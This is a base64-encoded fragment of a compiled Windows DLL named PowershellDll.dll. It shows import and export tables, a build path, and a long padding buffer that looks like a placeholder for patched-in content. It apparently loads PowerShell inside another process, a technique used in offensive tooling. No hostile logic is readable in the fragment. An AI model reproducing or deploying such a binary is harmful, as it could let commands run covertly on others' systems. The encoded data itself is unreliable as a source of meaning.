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11bHRpQnl0ZVRvV2lkZUNoYXIAIAVXaWRlQ2hhclRvTXVsdGlCeXRlAEoDTG9jYWxGcmVlABgEUnRsQ2FwdHVyZUNvbnRleHQAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAmBFJ0bFZpcnR1YWxVbndpbmQAAOIEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACzBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgDGAUdldEN1cnJlbnRQcm9jZXNzAM4EVGVybWluYXRlUHJvY2VzcwAABgNJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AKkDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAxwFHZXRDdXJyZW50UHJvY2Vzc0lkAMsBR2V0Q3VycmVudFRocmVhZElkAACAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAO8CSW5pdGlhbGl6ZVNMaXN0SGVhZAACA0lzRGVidWdnZXJQcmVzZW50AGoCR2V0U3RhcnR1cEluZm9XACUEUnRsVW53aW5kRXgAIQRSdGxQY1RvRmlsZUhlYWRlcgC0A1JhaXNlRXhjZXB0aW9uAADxAkludGVybG9ja2VkRmx1c2hTTGlzdACABFNldExhc3RFcnJvcgAA7gBFbmNvZGVQb2ludGVyAPIARW50ZXJDcml0aWNhbFNlY3Rpb24AADsDTGVhdmVDcml0aWNhbFNlY3Rpb24AANIARGVsZXRlQ3JpdGljYWxTZWN0aW9uAOsCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudADTBFRsc0FsbG9jAADVBFRsc0dldFZhbHVlANYEVGxzU2V0VmFsdWUA1ARUbHNGcmVlAGgBRnJlZUxpYnJhcnkAQANMb2FkTGlicmFyeUV4VwAAHwFFeGl0UHJvY2VzcwAdAkdldE1vZHVsZUhhbmRsZUV4VwAA1wJIZWFwRnJlZQAA0wJIZWFwQWxsb2MALwNMQ01hcFN0cmluZ1cAADQBRmluZENsb3NlADkBRmluZEZpcnN0RmlsZUV4QQAASQFGaW5kTmV4dEZpbGVBAAwDSXNWYWxpZENvZGVQYWdlAG4BR2V0QUNQAAA+AkdldE9FTUNQAAB4AUdldENQSW5mbwCMAUdldENvbW1hbmRMaW5lQQCNAU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AAAQAAAAAAAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACiHAYABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKIcBgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAohwGAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACiHAYABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKIcBgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQIgBgAEAAAAAAAAAAAAAAAAAAAAAAAAAgAMBgAEAAAAABQGAAQAAAID5AIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwIUBgAEAAACAgAGAAQAAAEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wAAAADYiAGAAQAAAMTtAYABAAAAxO0BgAEAAADE7QGAAQAAAMTtAYABAAAAxO0BgAEAAADE7QGAAQAAAMTtAYABAAAAxO0BgAEAAADE7QGAAQAAAH9/f39/f39/3IgBgAEAAADI7QGAAQAAAMjtAYABAAAAyO0BgAEAAADI7QGAAQAAAMjtAYABAAAAyO0BgAEAAADI7QGAAQAAAC4AAAAuAAAA/v////////8AAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBA